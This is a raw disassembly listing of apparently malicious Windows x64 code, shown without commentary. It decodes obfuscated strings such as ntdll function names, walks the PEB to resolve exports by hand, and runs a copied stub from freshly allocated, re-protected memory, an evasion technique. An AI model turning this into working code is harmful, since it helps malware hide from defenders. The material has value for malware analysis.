lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6cb], al
mov r9, r14
mov r8d, 3
mov dl, 0x61
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6cc], al
mov r9, r14
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6cd], al
mov r9, r14
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6ce], al
mov r9, r14
mov r8d, 6
mov dl, 0x46
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6cf], al
mov r9, r14
mov r8d, 7
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6d0], al
mov r9, r14
mov r8d, 8
mov dl, WSAStartup
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6d1], al
mov r9, r14
mov r8d, 9
mov dl, 0x53
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6d2], al
mov r9, r14
mov r8d, 0xa
mov dl, 0x69
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6d3], al
mov r9, r14
mov r8d, ntohs
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6d4], al
mov r9, r14
mov r8d, ntohs
mov dl, 0x67
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6d5], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6d6], al
mov r9, r14
mov r8d, select
mov dl, 0x65
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6d7], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6d8], al
mov r9, r14
mov r8, r13
mov dl, 0x62
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6d9], al
mov r9, r14
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6da], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6db], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x63
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6dc], al
mov r9, r14
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + 0x6dd], al
xor eax, eax
mov byte [rbp + 0x6de], al
mov r12d, eax
lea esi, [rax + 1]
mov r9, r14
mov r8, r12
mov dl, byte [rbp + r12 + 0x6c9]
lea rcx, [rbp + 0x6c8]
call fcn.140042ae8
mov byte [rbp + r12 + 0x6c9], al
add r12, rsi
cmp r12, r14
jb 0x1400370c1
xor r15d, r15d
mov byte [rbp + 0x6de], r15b
mov byte [rbp + 0x48], 0x24
lea r12d, [r15 + 9]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x48]
call fcn.140042908
mov byte [rbp + 0x49], al
mov r9d, r12d
lea r12d, [r15 + 1]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x48]
call fcn.140042908
mov byte [rbp + 0x4a], al
lea r9d, [r15 + 9]
lea r8d, [r15 + 2]
mov dl, 0x64
lea rcx, [rbp + 0x48]
call fcn.140042908
mov byte [rbp + 0x4b], al
lea r9d, [r15 + 9]
lea r8d, [r15 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x48]
call fcn.140042908
mov byte [rbp + 0x4c], al
lea r9d, [r15 + 9]
lea r8d, [r15 + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x48]
call fcn.140042908
mov byte [rbp + 0x4d], al
lea r9d, [r15 + 9]
lea r8d, [r15 + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x48]
call fcn.140042908
mov byte [rbp + 0x4e], al
lea r9d, [r15 + 9]
lea r8d, [r15 + 6]
mov dl, 0x64
lea rcx, [rbp + 0x48]
call fcn.140042908
mov byte [rbp + 0x4f], al
lea r9d, [r15 + 9]
lea r8d, [r15 + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x48]
call fcn.140042908
mov byte [rbp + 0x50], al
lea r9d, [r15 + 9]
lea r8d, [r15 + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x48]
call fcn.140042908
mov byte [rbp + 0x51], al
xor eax, eax
mov byte [rbp + 0x52], al
mov r9d, 9
mov r8, r15
mov dl, byte [rbp + r15 + 0x49]
lea rcx, [rbp + 0x48]
call fcn.140042908
mov byte [rbp + r15 + 0x49], al
add r15, r12
cmp r15, 9
jb 0x1400371c8
xor ecx, ecx
lea r12d, [rcx + 0x20]
mov byte [rbp + 0x52], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x14003754d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x14003729d
lea r15d, [rcx + 1]
mov r11d, r15d
mov rdx, qword [rsp + 0x70]
mov r13, qword [rsp + 0x68]
mov ecx, r11d
cmp word [r13 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + r8*2]
mov byte [r9 + r8], al
add r11d, r15d
add r8, r15
cmp r8, r10
jl 0x140037268
mov ebx, reloc.WS2_32.dll_recvfrom
lea r13d, [rbx - 1]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x1400372f6
mov rax, rcx
lea r9, [rbp + 0x49]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400372ef
add rax, r11
test edx, edx
jne 0x1400372da
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x14003731a
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x140037218
jmp 0x140037548
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140037548
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140037548
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140037548
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140037548
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140037548
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6c9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400373ac
inc rax
test edi, edi
jne 0x140037397
xor edi, edi
test r8d, r8d
je 0x1400373c1
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140037386
jmp 0x140037548
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140037548
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x140037548
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x80], rax
call fcn.1400a18a0
or dword [rbp + 0x1e574], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x1d1f0]
call fcn.1400437d4
lea rcx, [rbp + 0x1d1f0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x60], r8
xor eax, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0x1d1f0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x37490], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x140037464
mov rdi, qword [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x37490]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x60]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x60]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe20], eax
lea r9, [rbp + 0xe20]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x218]
call rdi
lea r9, [rbp + 0xe20]
mov r8d, dword [rbp + 0xe20]
mov edx, 0x1000
mov rdi, qword [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
mov rdi, qword [rsp + 0x70]
xor esi, esi
mov qword [rbp + 0xed0], rsi
mov byte [rbp + 0x4a0], 5
lea r9d, [rsi + 0x13]
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4a1], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4a2], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 2]
mov dl, 0x52
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4a3], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 3]
mov dl, 0x65
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4a4], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 4]
mov dl, 0x61
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4a5], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4a6], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 6]
mov dl, 0x56
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4a7], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 7]
mov dl, 0x69
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4a8], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4a9], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4aa], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4ab], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4ac], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4ad], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4ae], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4af], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 0xf]
mov dl, 0x6d
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4b0], al
lea r9d, [rsi + 0x13]
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4b1], al
lea r9d, [rsi + 0x13]
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4b2], al
lea r9d, [rsi + 0x13]
lea r8d, [rsi + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + 0x4b3], al
xor eax, eax
mov byte [rbp + 0x4b4], al
lea r13d, [rsi + 1]
mov r9d, reloc.WS2_32.dll_send
mov r8, rsi
mov dl, byte [rbp + rsi + 0x4a1]
lea rcx, [rbp + 0x4a0]
call fcn.140043174
mov byte [rbp + rsi + 0x4a1], al
add rsi, r13
cmp rsi, 0x13
jb 0x14003777a
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi - 4]
xor r15d, r15d
mov byte [rbp + 0x4b4], r15b
mov byte [rbp + 0xc8], Ordinal_27
lea r12d, [rsi - 0xb]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xc8]
call fcn.140042908
mov byte [rbp + 0xc9], al
mov r9d, r12d
lea r12d, [rsi - 0x13]
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xc8]
call fcn.140042908
mov byte [rbp + 0xca], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0xc8]
call fcn.140042908
mov byte [rbp + 0xcb], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0xc8]
call fcn.140042908
mov byte [rbp + 0xcc], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0xc8]
call fcn.140042908
mov byte [rbp + 0xcd], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xc8]
call fcn.140042908
mov byte [rbp + 0xce], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0xc8]
call fcn.140042908
mov byte [rbp + 0xcf], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0xc8]
call fcn.140042908
mov byte [rbp + 0xd0], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0xc8]
call fcn.140042908
mov byte [rbp + 0xd1], al
xor eax, eax
mov byte [rbp + 0xd2], al
mov r9d, 9
mov r8, r15
mov dl, byte [rbp + r15 + 0xc9]
lea rcx, [rbp + 0xc8]
call fcn.140042908
mov byte [rbp + r15 + 0xc9], al
add r15, r12
cmp r15, 9
jb 0x1400378c8
xor ecx, ecx
mov byte [rbp + 0xd2], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x140037c7a
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
mov r8d, ecx
movsxd r10, dword [rsp + 0x60]
test r10d, r10d
jle 0x1400379a2
lea ebx, [rcx + 1]
mov r11d, ebx
mov rdx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
mov ecx, r11d
cmp word [r15 + r8*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + r8*2]
mov byte [r9 + r8], al
add r11d, ebx
add r8, rbx
cmp r8, r10
jl 0x14003796f
mov ebx, reloc.WS2_32.dll_recvfrom
lea r13d, [rbx - 1]
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x70], rdx
sub r10d, edi
movsxd rdi, r10d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x1400379fe
mov rax, rcx
lea r9, [rbp + 0xc9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400379f7
add rax, r11
test edx, edx
jne 0x1400379e2
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
test dil, dil
jne 0x140037a22
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x70]
jne 0x140037920
jmp 0x140037c75
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
xor edi, edi
test rcx, rcx
je 0x140037c75
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140037c75
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140037c75
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140037c75
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x70], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x140037c75
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4a1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140037ab4
inc rax
test edi, edi
jne 0x140037a9f
xor edi, edi
test r8d, r8d
je 0x140037ac9
inc rdx
cmp rdx, qword [rbp - 0x60]
jb 0x140037a8e
mov rax, qword [rbp - 0x70]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140037c75
mov rdi, qword [rsp + 0x70]
mov rax, qword [rbp + 0xed0]
mov rcx, qword [rbp + 0xbd8]
mov qword [rcx], rax
lea rcx, [rbp + 0xf60]
call fcn.140043530
xor ecx, ecx
mov rax, qword [rbp + 0xbd8]
add rax, 8
mov qword [rbp + 0xbd8], rax
cmp qword [rax], rcx
jne 0x14003498b
mov ecx, 0x1000
mov qword [rbp + 0xcf0], rcx
mov rax, qword [rbp + 0xbd0]
mov qword [rbp + 0xd00], rax
call fcn.1400a1b84
mov qword [rbp - 0x80], rax
mov r8, qword [rbp + 0xcf0]
xor edx, edx
mov rcx, rax
call fcn.1400c97b0
mov rax, qword [rbp + 0xcf0]
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0xd00]
mov qword [rbp + 0xbd0], rax
mov byte [rbp + 0x5a8], Ordinal_50
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5a9], al
mov r9, rsi
mov r12d, 1
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5aa], al
mov r9, rsi
lea r8d, [r12 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5ab], al
mov r9, rsi
lea r8d, [r12 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5ac], al
mov r9, rsi
lea r8d, [r12 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5ad], al
mov r9, rsi
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5ae], al
mov r9, rsi
lea r8d, [r12 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5af], al
mov r9, rsi
lea r8d, [r12 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5b0], al
mov r9, rsi
lea r8d, [r12 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5b1], al
mov r9, rsi
lea r8d, [r12 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5b2], al
mov r9, rsi
lea r8d, [r12 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5b3], al
mov r9, rsi
lea r8d, [r12 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5b4], al
mov r9, rsi
lea r8d, [r12 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5b5], al
mov r9, rsi
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5b6], al
mov r9, rsi
lea r8d, [r12 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5b7], al
mov r9, rsi
lea r8d, [r12 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5b8], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5b9], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5ba], al
mov r9, rsi
lea r8d, [r12 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5bb], al
mov r9, rsi
lea r8d, [r12 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + 0x5bc], al
xor eax, eax
mov byte [rbp + 0x5bd], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5a9]
lea rcx, [rbp + 0x5a8]
call fcn.1400430f8
mov byte [rbp + rdi + 0x5a9], al
add rdi, r12
cmp rdi, rsi
jb 0x140037f43
xor edi, edi
mov byte [rbp + 0x5bd], dil
mov byte [rbp + 0x118], 0x51
lea r12d, [rdi + 9]
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x118]
call fcn.140042908
mov byte [rbp + 0x119], al
mov r9d, r12d
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x118]
call fcn.140042908
mov byte [rbp + 0x11a], al
mov r9d, r12d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x118]
call fcn.140042908
mov byte [rbp + 0x11b], al
mov r9d, r12d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x118]
call fcn.140042908
mov byte [rbp + 0x11c], al
mov r9d, r12d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x118]
call fcn.140042908
mov byte [rbp + 0x11d], al
mov r9d, r12d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x118]
call fcn.140042908
mov byte [rbp + 0x11e], al
mov r9d, r12d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x118]
call fcn.140042908
mov byte [rbp + 0x11f], al
mov r9d, r12d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x118]
call fcn.140042908
mov byte [rbp + 0x120], al
mov r9d, r12d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x118]
call fcn.140042908
mov byte [rbp + 0x121], al
xor eax, eax
mov byte [rbp + 0x122], al
lea r12d, [rdi + 0x20]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x119]
lea rcx, [rbp + 0x118]
call fcn.140042908
mov byte [rbp + rdi + 0x119], al
add rdi, r15
cmp rdi, 9
jb 0x140038080
xor r9d, r9d
mov byte [rbp + 0x122], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea r15d, [r9 + 0x17]
je 0x1400381d7
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x60], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140038155
lea r13d, [rax + 1]
mov r10d, r13d
mov r15, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r13d
add rdx, r13
cmp rdx, r8
jl 0x140038126
mov r15d, reloc.WS2_32.dll_socket
lea r13d, [r15 - 7]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x60]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x1400381b1
mov rax, rcx
lea r9, [rbp + 0x119]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400381aa
add rax, r11
test edx, edx
jne 0x140038195
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x1400386a3
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x70]
jne 0x1400380dc
mov dword [rbp - 0x68], r9d
mov rcx, qword [rbp - 0x80]
call fcn.1400a1900
xor eax, eax
lea edi, [rax + 0x13]
cmp dword [rbp - 0x68], eax
jl 0x140038b28
mov byte [rbp + 0x488], 0x65
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x489], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x48a], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x46
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x48b], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x48c], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x48d], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x488]
call fcn.140043174
mov byte [rbp + 0x48e], al
